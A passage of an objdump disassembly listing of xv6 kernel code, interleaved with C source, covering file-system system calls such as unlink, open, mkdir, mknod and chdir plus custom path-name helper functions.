80104fe4: b8 ff ff ff ff mov $0xffffffff,%eax
80104fe9: eb 8f jmp 80104f7a <sys_link+0xda>
80104feb: 90 nop
80104fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104ff0 <sys_unlink>:
{
80104ff0: 55 push %ebp
80104ff1: 89 e5 mov %esp,%ebp
80104ff3: 57 push %edi
80104ff4: 56 push %esi
80104ff5: 53 push %ebx
if(argstr(0, &path) < 0)
80104ff6: 8d 45 c0 lea -0x40(%ebp),%eax
{
80104ff9: 83 ec 44 sub $0x44,%esp
if(argstr(0, &path) < 0)
80104ffc: 50 push %eax
80104ffd: 6a 00 push $0x0
80104fff: e8 1c fa ff ff call 80104a20 <argstr>
80105004: 83 c4 10 add $0x10,%esp
80105007: 85 c0 test %eax,%eax
80105009: 0f 88 77 01 00 00 js 80105186 <sys_unlink+0x196>
if((dp = nameiparent(path, name)) == 0){
8010500f: 8d 5d ca lea -0x36(%ebp),%ebx
begin_op();
80105012: e8 69 dc ff ff call 80102c80 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80105017: 83 ec 08 sub $0x8,%esp
8010501a: 53 push %ebx
8010501b: ff 75 c0 pushl -0x40(%ebp)
8010501e: e8 dd ce ff ff call 80101f00 <nameiparent>
80105023: 83 c4 10 add $0x10,%esp
80105026: 85 c0 test %eax,%eax
80105028: 89 c6 mov %eax,%esi
8010502a: 0f 84 60 01 00 00 je 80105190 <sys_unlink+0x1a0>
ilock(dp);
80105030: 83 ec 0c sub $0xc,%esp
80105033: 50 push %eax
80105034: e8 47 c6 ff ff call 80101680 <ilock>
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80105039: 58 pop %eax
8010503a: 5a pop %edx
8010503b: 68 44 7b 10 80 push $0x80107b44
80105040: 53 push %ebx
80105041: e8 4a cb ff ff call 80101b90 <namecmp>
80105046: 83 c4 10 add $0x10,%esp
80105049: 85 c0 test %eax,%eax
8010504b: 0f 84 03 01 00 00 je 80105154 <sys_unlink+0x164>
80105051: 83 ec 08 sub $0x8,%esp
80105054: 68 43 7b 10 80 push $0x80107b43
80105059: 53 push %ebx
8010505a: e8 31 cb ff ff call 80101b90 <namecmp>
8010505f: 83 c4 10 add $0x10,%esp
80105062: 85 c0 test %eax,%eax
80105064: 0f 84 ea 00 00 00 je 80105154 <sys_unlink+0x164>
if((ip = dirlookup(dp, name, &off)) == 0)
8010506a: 8d 45 c4 lea -0x3c(%ebp),%eax
8010506d: 83 ec 04 sub $0x4,%esp
80105070: 50 push %eax
80105071: 53 push %ebx
80105072: 56 push %esi
80105073: e8 38 cb ff ff call 80101bb0 <dirlookup>
80105078: 83 c4 10 add $0x10,%esp
8010507b: 85 c0 test %eax,%eax
8010507d: 89 c3 mov %eax,%ebx
8010507f: 0f 84 cf 00 00 00 je 80105154 <sys_unlink+0x164>
ilock(ip);
80105085: 83 ec 0c sub $0xc,%esp
80105088: 50 push %eax
80105089: e8 f2 c5 ff ff call 80101680 <ilock>
if(ip->nlink < 1)
8010508e: 83 c4 10 add $0x10,%esp
80105091: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80105096: 0f 8e 10 01 00 00 jle 801051ac <sys_unlink+0x1bc>
if(ip->type == T_DIR && !isdirempty(ip)){
8010509c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801050a1: 74 6d je 80105110 <sys_unlink+0x120>
memset(&de, 0, sizeof(de));
801050a3: 8d 45 d8 lea -0x28(%ebp),%eax
801050a6: 83 ec 04 sub $0x4,%esp
801050a9: 6a 10 push $0x10
801050ab: 6a 00 push $0x0
801050ad: 50 push %eax
801050ae: e8 bd f5 ff ff call 80104670 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801050b3: 8d 45 d8 lea -0x28(%ebp),%eax
801050b6: 6a 10 push $0x10
801050b8: ff 75 c4 pushl -0x3c(%ebp)
801050bb: 50 push %eax
801050bc: 56 push %esi
801050bd: e8 9e c9 ff ff call 80101a60 <writei>
801050c2: 83 c4 20 add $0x20,%esp
801050c5: 83 f8 10 cmp $0x10,%eax
801050c8: 0f 85 eb 00 00 00 jne 801051b9 <sys_unlink+0x1c9>
if(ip->type == T_DIR){
801050ce: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801050d3: 0f 84 97 00 00 00 je 80105170 <sys_unlink+0x180>
iunlockput(dp);
801050d9: 83 ec 0c sub $0xc,%esp
801050dc: 56 push %esi
801050dd: e8 2e c8 ff ff call 80101910 <iunlockput>
ip->nlink--;
801050e2: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
801050e7: 89 1c 24 mov %ebx,(%esp)
801050ea: e8 e1 c4 ff ff call 801015d0 <iupdate>
iunlockput(ip);
801050ef: 89 1c 24 mov %ebx,(%esp)
801050f2: e8 19 c8 ff ff call 80101910 <iunlockput>
end_op();
801050f7: e8 f4 db ff ff call 80102cf0 <end_op>
return 0;
801050fc: 83 c4 10 add $0x10,%esp
801050ff: 31 c0 xor %eax,%eax
}
80105101: 8d 65 f4 lea -0xc(%ebp),%esp
80105104: 5b pop %ebx
80105105: 5e pop %esi
80105106: 5f pop %edi
80105107: 5d pop %ebp
80105108: c3 ret
80105109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105110: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80105114: 76 8d jbe 801050a3 <sys_unlink+0xb3>
80105116: bf 20 00 00 00 mov $0x20,%edi
8010511b: eb 0f jmp 8010512c <sys_unlink+0x13c>
8010511d: 8d 76 00 lea 0x0(%esi),%esi
80105120: 83 c7 10 add $0x10,%edi
80105123: 3b 7b 58 cmp 0x58(%ebx),%edi
80105126: 0f 83 77 ff ff ff jae 801050a3 <sys_unlink+0xb3>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010512c: 8d 45 d8 lea -0x28(%ebp),%eax
8010512f: 6a 10 push $0x10
80105131: 57 push %edi
80105132: 50 push %eax
80105133: 53 push %ebx
80105134: e8 27 c8 ff ff call 80101960 <readi>
80105139: 83 c4 10 add $0x10,%esp
8010513c: 83 f8 10 cmp $0x10,%eax
8010513f: 75 5e jne 8010519f <sys_unlink+0x1af>
if(de.inum != 0)
80105141: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80105146: 74 d8 je 80105120 <sys_unlink+0x130>
iunlockput(ip);
80105148: 83 ec 0c sub $0xc,%esp
8010514b: 53 push %ebx
8010514c: e8 bf c7 ff ff call 80101910 <iunlockput>
goto bad;
80105151: 83 c4 10 add $0x10,%esp
iunlockput(dp);
80105154: 83 ec 0c sub $0xc,%esp
80105157: 56 push %esi
80105158: e8 b3 c7 ff ff call 80101910 <iunlockput>
end_op();
8010515d: e8 8e db ff ff call 80102cf0 <end_op>
return -1;
80105162: 83 c4 10 add $0x10,%esp
80105165: b8 ff ff ff ff mov $0xffffffff,%eax
8010516a: eb 95 jmp 80105101 <sys_unlink+0x111>
8010516c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
dp->nlink--;
80105170: 66 83 6e 56 01 subw $0x1,0x56(%esi)
iupdate(dp);
80105175: 83 ec 0c sub $0xc,%esp
80105178: 56 push %esi
80105179: e8 52 c4 ff ff call 801015d0 <iupdate>
8010517e: 83 c4 10 add $0x10,%esp
80105181: e9 53 ff ff ff jmp 801050d9 <sys_unlink+0xe9>
return -1;
80105186: b8 ff ff ff ff mov $0xffffffff,%eax
8010518b: e9 71 ff ff ff jmp 80105101 <sys_unlink+0x111>
end_op();
80105190: e8 5b db ff ff call 80102cf0 <end_op>
return -1;
80105195: b8 ff ff ff ff mov $0xffffffff,%eax
8010519a: e9 62 ff ff ff jmp 80105101 <sys_unlink+0x111>
panic("isdirempty: readi");
8010519f: 83 ec 0c sub $0xc,%esp
801051a2: 68 68 7b 10 80 push $0x80107b68
801051a7: e8 e4 b1 ff ff call 80100390 <panic>
panic("unlink: nlink < 1");
801051ac: 83 ec 0c sub $0xc,%esp
801051af: 68 56 7b 10 80 push $0x80107b56
801051b4: e8 d7 b1 ff ff call 80100390 <panic>
panic("unlink: writei");
801051b9: 83 ec 0c sub $0xc,%esp
801051bc: 68 7a 7b 10 80 push $0x80107b7a
801051c1: e8 ca b1 ff ff call 80100390 <panic>
801051c6: 8d 76 00 lea 0x0(%esi),%esi
801051c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801051d0 <sys_open>:
int
sys_open(void)
{
801051d0: 55 push %ebp
801051d1: 89 e5 mov %esp,%ebp
801051d3: 57 push %edi
801051d4: 56 push %esi
801051d5: 53 push %ebx
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801051d6: 8d 45 e0 lea -0x20(%ebp),%eax
{
801051d9: 83 ec 24 sub $0x24,%esp
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801051dc: 50 push %eax
801051dd: 6a 00 push $0x0
801051df: e8 3c f8 ff ff call 80104a20 <argstr>
801051e4: 83 c4 10 add $0x10,%esp
801051e7: 85 c0 test %eax,%eax
801051e9: 0f 88 1d 01 00 00 js 8010530c <sys_open+0x13c>
801051ef: 8d 45 e4 lea -0x1c(%ebp),%eax
801051f2: 83 ec 08 sub $0x8,%esp
801051f5: 50 push %eax
801051f6: 6a 01 push $0x1
801051f8: e8 73 f7 ff ff call 80104970 <argint>
801051fd: 83 c4 10 add $0x10,%esp
80105200: 85 c0 test %eax,%eax
80105202: 0f 88 04 01 00 00 js 8010530c <sys_open+0x13c>
return -1;
begin_op();
80105208: e8 73 da ff ff call 80102c80 <begin_op>
if(omode & O_CREATE){
8010520d: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80105211: 0f 85 a9 00 00 00 jne 801052c0 <sys_open+0xf0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80105217: 83 ec 0c sub $0xc,%esp
8010521a: ff 75 e0 pushl -0x20(%ebp)
8010521d: e8 be cc ff ff call 80101ee0 <namei>
80105222: 83 c4 10 add $0x10,%esp
80105225: 85 c0 test %eax,%eax
80105227: 89 c6 mov %eax,%esi
80105229: 0f 84 b2 00 00 00 je 801052e1 <sys_open+0x111>
end_op();
return -1;
}
ilock(ip);
8010522f: 83 ec 0c sub $0xc,%esp
80105232: 50 push %eax
80105233: e8 48 c4 ff ff call 80101680 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80105238: 83 c4 10 add $0x10,%esp
8010523b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80105240: 0f 84 aa 00 00 00 je 801052f0 <sys_open+0x120>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80105246: e8 35 bb ff ff call 80100d80 <filealloc>
8010524b: 85 c0 test %eax,%eax
8010524d: 89 c7 mov %eax,%edi
8010524f: 0f 84 a6 00 00 00 je 801052fb <sys_open+0x12b>
struct proc *curproc = myproc();
80105255: e8 66 e6 ff ff call 801038c0 <myproc>
for(fd = 0; fd < NOFILE; fd++){
8010525a: 31 db xor %ebx,%ebx
8010525c: eb 0e jmp 8010526c <sys_open+0x9c>
8010525e: 66 90 xchg %ax,%ax
80105260: 83 c3 01 add $0x1,%ebx
80105263: 83 fb 10 cmp $0x10,%ebx
80105266: 0f 84 ac 00 00 00 je 80105318 <sys_open+0x148>
if(curproc->ofile[fd] == 0){
8010526c: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx
80105270: 85 d2 test %edx,%edx
80105272: 75 ec jne 80105260 <sys_open+0x90>
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105274: 83 ec 0c sub $0xc,%esp
curproc->ofile[fd] = f;
80105277: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4)
iunlock(ip);
8010527b: 56 push %esi
8010527c: e8 df c4 ff ff call 80101760 <iunlock>
end_op();
80105281: e8 6a da ff ff call 80102cf0 <end_op>
f->type = FD_INODE;
80105286: c7 07 02 00 00 00 movl $0x2,(%edi)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
8010528c: 8b 55 e4 mov -0x1c(%ebp),%edx
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
8010528f: 83 c4 10 add $0x10,%esp
f->ip = ip;
80105292: 89 77 10 mov %esi,0x10(%edi)
f->off = 0;
80105295: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi)
f->readable = !(omode & O_WRONLY);
8010529c: 89 d0 mov %edx,%eax
8010529e: f7 d0 not %eax
801052a0: 83 e0 01 and $0x1,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
801052a3: 83 e2 03 and $0x3,%edx
f->readable = !(omode & O_WRONLY);
801052a6: 88 47 08 mov %al,0x8(%edi)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
801052a9: 0f 95 47 09 setne 0x9(%edi)
return fd;
}
801052ad: 8d 65 f4 lea -0xc(%ebp),%esp
801052b0: 89 d8 mov %ebx,%eax
801052b2: 5b pop %ebx
801052b3: 5e pop %esi
801052b4: 5f pop %edi
801052b5: 5d pop %ebp
801052b6: c3 ret
801052b7: 89 f6 mov %esi,%esi
801052b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ip = create(path, T_FILE, 0, 0);
801052c0: 83 ec 0c sub $0xc,%esp
801052c3: 8b 45 e0 mov -0x20(%ebp),%eax
801052c6: 31 c9 xor %ecx,%ecx
801052c8: 6a 00 push $0x0
801052ca: ba 02 00 00 00 mov $0x2,%edx
801052cf: e8 ec f7 ff ff call 80104ac0 <create>
if(ip == 0){
801052d4: 83 c4 10 add $0x10,%esp
801052d7: 85 c0 test %eax,%eax
ip = create(path, T_FILE, 0, 0);
801052d9: 89 c6 mov %eax,%esi
if(ip == 0){
801052db: 0f 85 65 ff ff ff jne 80105246 <sys_open+0x76>
end_op();
801052e1: e8 0a da ff ff call 80102cf0 <end_op>
return -1;
801052e6: bb ff ff ff ff mov $0xffffffff,%ebx
801052eb: eb c0 jmp 801052ad <sys_open+0xdd>
801052ed: 8d 76 00 lea 0x0(%esi),%esi
if(ip->type == T_DIR && omode != O_RDONLY){
801052f0: 8b 4d e4 mov -0x1c(%ebp),%ecx
801052f3: 85 c9 test %ecx,%ecx
801052f5: 0f 84 4b ff ff ff je 80105246 <sys_open+0x76>
iunlockput(ip);
801052fb: 83 ec 0c sub $0xc,%esp
801052fe: 56 push %esi
801052ff: e8 0c c6 ff ff call 80101910 <iunlockput>
end_op();
80105304: e8 e7 d9 ff ff call 80102cf0 <end_op>
return -1;
80105309: 83 c4 10 add $0x10,%esp
8010530c: bb ff ff ff ff mov $0xffffffff,%ebx
80105311: eb 9a jmp 801052ad <sys_open+0xdd>
80105313: 90 nop
80105314: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
fileclose(f);
80105318: 83 ec 0c sub $0xc,%esp
8010531b: 57 push %edi
8010531c: e8 1f bb ff ff call 80100e40 <fileclose>
80105321: 83 c4 10 add $0x10,%esp
80105324: eb d5 jmp 801052fb <sys_open+0x12b>
80105326: 8d 76 00 lea 0x0(%esi),%esi
80105329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105330 <sys_mkdir>:
int
sys_mkdir(void)
{
80105330: 55 push %ebp
80105331: 89 e5 mov %esp,%ebp
80105333: 83 ec 18 sub $0x18,%esp
char *path;
struct inode *ip;
begin_op();
80105336: e8 45 d9 ff ff call 80102c80 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
8010533b: 8d 45 f4 lea -0xc(%ebp),%eax
8010533e: 83 ec 08 sub $0x8,%esp
80105341: 50 push %eax
80105342: 6a 00 push $0x0
80105344: e8 d7 f6 ff ff call 80104a20 <argstr>
80105349: 83 c4 10 add $0x10,%esp
8010534c: 85 c0 test %eax,%eax
8010534e: 78 30 js 80105380 <sys_mkdir+0x50>
80105350: 83 ec 0c sub $0xc,%esp
80105353: 8b 45 f4 mov -0xc(%ebp),%eax
80105356: 31 c9 xor %ecx,%ecx
80105358: 6a 00 push $0x0
8010535a: ba 01 00 00 00 mov $0x1,%edx
8010535f: e8 5c f7 ff ff call 80104ac0 <create>
80105364: 83 c4 10 add $0x10,%esp
80105367: 85 c0 test %eax,%eax
80105369: 74 15 je 80105380 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
8010536b: 83 ec 0c sub $0xc,%esp
8010536e: 50 push %eax
8010536f: e8 9c c5 ff ff call 80101910 <iunlockput>
end_op();
80105374: e8 77 d9 ff ff call 80102cf0 <end_op>
return 0;
80105379: 83 c4 10 add $0x10,%esp
8010537c: 31 c0 xor %eax,%eax
}
8010537e: c9 leave
8010537f: c3 ret
end_op();
80105380: e8 6b d9 ff ff call 80102cf0 <end_op>
return -1;
80105385: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010538a: c9 leave
8010538b: c3 ret
8010538c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105390 <sys_mknod>:
int
sys_mknod(void)
{
80105390: 55 push %ebp
80105391: 89 e5 mov %esp,%ebp
80105393: 83 ec 18 sub $0x18,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
80105396: e8 e5 d8 ff ff call 80102c80 <begin_op>
if((argstr(0, &path)) < 0 ||
8010539b: 8d 45 ec lea -0x14(%ebp),%eax
8010539e: 83 ec 08 sub $0x8,%esp
801053a1: 50 push %eax
801053a2: 6a 00 push $0x0
801053a4: e8 77 f6 ff ff call 80104a20 <argstr>
801053a9: 83 c4 10 add $0x10,%esp
801053ac: 85 c0 test %eax,%eax
801053ae: 78 60 js 80105410 <sys_mknod+0x80>
argint(1, &major) < 0 ||
801053b0: 8d 45 f0 lea -0x10(%ebp),%eax
801053b3: 83 ec 08 sub $0x8,%esp
801053b6: 50 push %eax
801053b7: 6a 01 push $0x1
801053b9: e8 b2 f5 ff ff call 80104970 <argint>
if((argstr(0, &path)) < 0 ||
801053be: 83 c4 10 add $0x10,%esp
801053c1: 85 c0 test %eax,%eax
801053c3: 78 4b js 80105410 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
801053c5: 8d 45 f4 lea -0xc(%ebp),%eax
801053c8: 83 ec 08 sub $0x8,%esp
801053cb: 50 push %eax
801053cc: 6a 02 push $0x2
801053ce: e8 9d f5 ff ff call 80104970 <argint>
argint(1, &major) < 0 ||
801053d3: 83 c4 10 add $0x10,%esp
801053d6: 85 c0 test %eax,%eax
801053d8: 78 36 js 80105410 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
801053da: 0f bf 45 f4 movswl -0xc(%ebp),%eax
argint(2, &minor) < 0 ||
801053de: 83 ec 0c sub $0xc,%esp
(ip = create(path, T_DEV, major, minor)) == 0){
801053e1: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
argint(2, &minor) < 0 ||
801053e5: ba 03 00 00 00 mov $0x3,%edx
801053ea: 50 push %eax
801053eb: 8b 45 ec mov -0x14(%ebp),%eax
801053ee: e8 cd f6 ff ff call 80104ac0 <create>
801053f3: 83 c4 10 add $0x10,%esp
801053f6: 85 c0 test %eax,%eax
801053f8: 74 16 je 80105410 <sys_mknod+0x80>
end_op();
return -1;
}
iunlockput(ip);
801053fa: 83 ec 0c sub $0xc,%esp
801053fd: 50 push %eax
801053fe: e8 0d c5 ff ff call 80101910 <iunlockput>
end_op();
80105403: e8 e8 d8 ff ff call 80102cf0 <end_op>
return 0;
80105408: 83 c4 10 add $0x10,%esp
8010540b: 31 c0 xor %eax,%eax
}
8010540d: c9 leave
8010540e: c3 ret
8010540f: 90 nop
end_op();
80105410: e8 db d8 ff ff call 80102cf0 <end_op>
return -1;
80105415: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010541a: c9 leave
8010541b: c3 ret
8010541c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105420 <sys_chdir>:
int
sys_chdir(void)
{
80105420: 55 push %ebp
80105421: 89 e5 mov %esp,%ebp
80105423: 56 push %esi
80105424: 53 push %ebx
80105425: 83 ec 10 sub $0x10,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80105428: e8 93 e4 ff ff call 801038c0 <myproc>
8010542d: 89 c6 mov %eax,%esi
begin_op();
8010542f: e8 4c d8 ff ff call 80102c80 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80105434: 8d 45 f4 lea -0xc(%ebp),%eax
80105437: 83 ec 08 sub $0x8,%esp
8010543a: 50 push %eax
8010543b: 6a 00 push $0x0
8010543d: e8 de f5 ff ff call 80104a20 <argstr>
80105442: 83 c4 10 add $0x10,%esp
80105445: 85 c0 test %eax,%eax
80105447: 78 77 js 801054c0 <sys_chdir+0xa0>
80105449: 83 ec 0c sub $0xc,%esp
8010544c: ff 75 f4 pushl -0xc(%ebp)
8010544f: e8 8c ca ff ff call 80101ee0 <namei>
80105454: 83 c4 10 add $0x10,%esp
80105457: 85 c0 test %eax,%eax
80105459: 89 c3 mov %eax,%ebx
8010545b: 74 63 je 801054c0 <sys_chdir+0xa0>
end_op();
return -1;
}
ilock(ip);
8010545d: 83 ec 0c sub $0xc,%esp
80105460: 50 push %eax
80105461: e8 1a c2 ff ff call 80101680 <ilock>
if(ip->type != T_DIR){
80105466: 83 c4 10 add $0x10,%esp
80105469: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
8010546e: 75 30 jne 801054a0 <sys_chdir+0x80>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105470: 83 ec 0c sub $0xc,%esp
80105473: 53 push %ebx
80105474: e8 e7 c2 ff ff call 80101760 <iunlock>
iput(curproc->cwd);
80105479: 58 pop %eax
8010547a: ff 76 68 pushl 0x68(%esi)
8010547d: e8 2e c3 ff ff call 801017b0 <iput>
end_op();
80105482: e8 69 d8 ff ff call 80102cf0 <end_op>
curproc->cwd = ip;
80105487: 89 5e 68 mov %ebx,0x68(%esi)
return 0;
8010548a: 83 c4 10 add $0x10,%esp
8010548d: 31 c0 xor %eax,%eax
}
8010548f: 8d 65 f8 lea -0x8(%ebp),%esp
80105492: 5b pop %ebx
80105493: 5e pop %esi
80105494: 5d pop %ebp
80105495: c3 ret
80105496: 8d 76 00 lea 0x0(%esi),%esi
80105499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
iunlockput(ip);
801054a0: 83 ec 0c sub $0xc,%esp
801054a3: 53 push %ebx
801054a4: e8 67 c4 ff ff call 80101910 <iunlockput>
end_op();
801054a9: e8 42 d8 ff ff call 80102cf0 <end_op>
return -1;
801054ae: 83 c4 10 add $0x10,%esp
801054b1: b8 ff ff ff ff mov $0xffffffff,%eax
801054b6: eb d7 jmp 8010548f <sys_chdir+0x6f>
801054b8: 90 nop
801054b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
801054c0: e8 2b d8 ff ff call 80102cf0 <end_op>
return -1;
801054c5: b8 ff ff ff ff mov $0xffffffff,%eax
801054ca: eb c3 jmp 8010548f <sys_chdir+0x6f>
801054cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801054d0 <name_of_inode>:
return 1;
}*/
int
name_of_inode(struct inode *ip, struct inode *parent, char buf[DIRSIZ]) {
801054d0: 55 push %ebp
801054d1: 89 e5 mov %esp,%ebp
801054d3: 57 push %edi
801054d4: 56 push %esi
801054d5: 53 push %ebx
801054d6: 83 ec 1c sub $0x1c,%esp
801054d9: 8b 5d 0c mov 0xc(%ebp),%ebx
uint off;
struct dirent de;
for (off = 0; off < parent->size; off += sizeof(de)) {
801054dc: 8b 43 58 mov 0x58(%ebx),%eax
801054df: 85 c0 test %eax,%eax
801054e1: 74 55 je 80105538 <name_of_inode+0x68>
801054e3: 31 f6 xor %esi,%esi
801054e5: 8d 7d d8 lea -0x28(%ebp),%edi
801054e8: eb 0e jmp 801054f8 <name_of_inode+0x28>
801054ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801054f0: 83 c6 10 add $0x10,%esi
801054f3: 39 73 58 cmp %esi,0x58(%ebx)
801054f6: 76 40 jbe 80105538 <name_of_inode+0x68>
if (readi(parent, (char*)&de, off, sizeof(de)) != sizeof(de))
801054f8: 6a 10 push $0x10
801054fa: 56 push %esi
801054fb: 57 push %edi
801054fc: 53 push %ebx
801054fd: e8 5e c4 ff ff call 80101960 <readi>
80105502: 83 c4 10 add $0x10,%esp
80105505: 83 f8 10 cmp $0x10,%eax
80105508: 75 3b jne 80105545 <name_of_inode+0x75>
panic("couldn't read dir entry");
if (de.inum == ip->inum) {
8010550a: 8b 55 08 mov 0x8(%ebp),%edx
8010550d: 0f b7 45 d8 movzwl -0x28(%ebp),%eax
80105511: 3b 42 04 cmp 0x4(%edx),%eax
80105514: 75 da jne 801054f0 <name_of_inode+0x20>
safestrcpy(buf, de.name, DIRSIZ);
80105516: 8d 45 da lea -0x26(%ebp),%eax
80105519: 83 ec 04 sub $0x4,%esp
8010551c: 6a 0e push $0xe
8010551e: 50 push %eax
8010551f: ff 75 10 pushl 0x10(%ebp)
80105522: e8 29 f3 ff ff call 80104850 <safestrcpy>
return 0;
80105527: 83 c4 10 add $0x10,%esp
}
}
return -1;
}
8010552a: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
8010552d: 31 c0 xor %eax,%eax
}
8010552f: 5b pop %ebx
80105530: 5e pop %esi
80105531: 5f pop %edi
80105532: 5d pop %ebp
80105533: c3 ret
80105534: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105538: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
8010553b: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105540: 5b pop %ebx
80105541: 5e pop %esi
80105542: 5f pop %edi
80105543: 5d pop %ebp
80105544: c3 ret
panic("couldn't read dir entry");
80105545: 83 ec 0c sub $0xc,%esp
80105548: 68 89 7b 10 80 push $0x80107b89
8010554d: e8 3e ae ff ff call 80100390 <panic>
80105552: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105559: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105560 <name_for_inode>:
int
name_for_inode(char* buf, int n, struct inode *ip) {
80105560: 55 push %ebp
80105561: 89 e5 mov %esp,%ebp
80105563: 57 push %edi
80105564: 56 push %esi
80105565: 53 push %ebx
80105566: 83 ec 38 sub $0x38,%esp
80105569: 8b 5d 10 mov 0x10(%ebp),%ebx
int path_offset;
struct inode *parent;
char node_name[DIRSIZ];
if (ip->inum == namei("/")->inum) { //namei is inefficient but iget isn't exported for some reason
8010556c: 8b 73 04 mov 0x4(%ebx),%esi
8010556f: 68 0e 79 10 80 push $0x8010790e
80105574: e8 67 c9 ff ff call 80101ee0 <namei>
80105579: 83 c4 10 add $0x10,%esp
8010557c: 3b 70 04 cmp 0x4(%eax),%esi
8010557f: 74 27 je 801055a8 <name_for_inode+0x48>
buf[0] = '/';
return 1;
} else if (ip->type == T_DIR) {
80105581: 0f b7 43 50 movzwl 0x50(%ebx),%eax
80105585: 66 83 f8 01 cmp $0x1,%ax
80105589: 74 45 je 801055d0 <name_for_inode+0x70>
} else {
buf[path_offset++] = '/';
}
iunlock(parent); //free
return path_offset;
} else if (ip->type == T_DEV || ip->type == T_FILE) {
8010558b: 83 e8 02 sub $0x2,%eax
8010558e: 66 83 f8 01 cmp $0x1,%ax
80105592: 76 2c jbe 801055c0 <name_for_inode+0x60>
panic("process cwd is a device node / file, not a directory!");
} else {
panic("unknown inode type");
80105594: 83 ec 0c sub $0xc,%esp
80105597: 68 a1 7b 10 80 push $0x80107ba1
8010559c: e8 ef ad ff ff call 80100390 <panic>
801055a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
buf[0] = '/';
801055a8: 8b 45 08 mov 0x8(%ebp),%eax
801055ab: c6 00 2f movb $0x2f,(%eax)
return 1;
801055ae: b8 01 00 00 00 mov $0x1,%eax
}
}
801055b3: 8d 65 f4 lea -0xc(%ebp),%esp
801055b6: 5b pop %ebx
801055b7: 5e pop %esi
801055b8: 5f pop %edi
801055b9: 5d pop %ebp
801055ba: c3 ret
801055bb: 90 nop
801055bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
panic("process cwd is a device node / file, not a directory!");
801055c0: 83 ec 0c sub $0xc,%esp
801055c3: 68 dc 7b 10 80 push $0x80107bdc
801055c8: e8 c3 ad ff ff call 80100390 <panic>
801055cd: 8d 76 00 lea 0x0(%esi),%esi
parent = dirlookup(ip, "..", 0);
801055d0: 83 ec 04 sub $0x4,%esp
if (name_of_inode(ip, parent, node_name)) {
801055d3: 8d 7d da lea -0x26(%ebp),%edi
parent = dirlookup(ip, "..", 0);
801055d6: 6a 00 push $0x0
801055d8: 68 43 7b 10 80 push $0x80107b43
801055dd: 53 push %ebx
801055de: e8 cd c5 ff ff call 80101bb0 <dirlookup>
801055e3: 89 c6 mov %eax,%esi
ilock(parent);
801055e5: 89 04 24 mov %eax,(%esp)
801055e8: e8 93 c0 ff ff call 80101680 <ilock>
if (name_of_inode(ip, parent, node_name)) {
801055ed: 83 c4 0c add $0xc,%esp
801055f0: 57 push %edi
801055f1: 56 push %esi
801055f2: 53 push %ebx
801055f3: e8 d8 fe ff ff call 801054d0 <name_of_inode>
801055f8: 83 c4 10 add $0x10,%esp
801055fb: 85 c0 test %eax,%eax
801055fd: 75 72 jne 80105671 <name_for_inode+0x111>
path_offset = name_for_inode(buf, n, parent);
801055ff: 83 ec 04 sub $0x4,%esp
80105602: 56 push %esi
